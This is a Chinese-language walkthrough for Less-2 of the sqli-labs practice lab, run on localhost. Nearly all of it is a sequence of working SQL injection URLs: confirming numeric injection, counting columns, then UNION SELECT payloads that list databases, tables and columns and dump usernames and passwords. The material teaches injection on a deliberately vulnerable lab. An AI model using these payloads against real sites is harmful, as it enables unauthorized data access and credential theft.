sqli-labs-less-2完整教程

Less-2

开始判断是否存在漏洞：

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 显示成功
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’ 显示失败，错误：’’ LIMIT 0,1’，表示在左边多了一个单引号，
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’ --+ 进行注释后还是错误
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1 显示正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 不显示，判断为数字型注入

判断该表存在多少列：

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 10 显示找不到第10列，依次缩小数值进行判断
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 显示正常，说明有3列

查看哪些列可以回显：

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3

查看当前数据库：

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,database()

查看当前数据库用户：

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,user()

查看所有数据库：

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

查看当前数据库中的所有表：

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479

查看users表中的字段：

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

查看username列的信息：

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(username) from security.users

查看password列的信息：

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(password) from security.users

将username和password用-连接并联合输出：

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(’-’,username,password)) from security.users

Less-2完成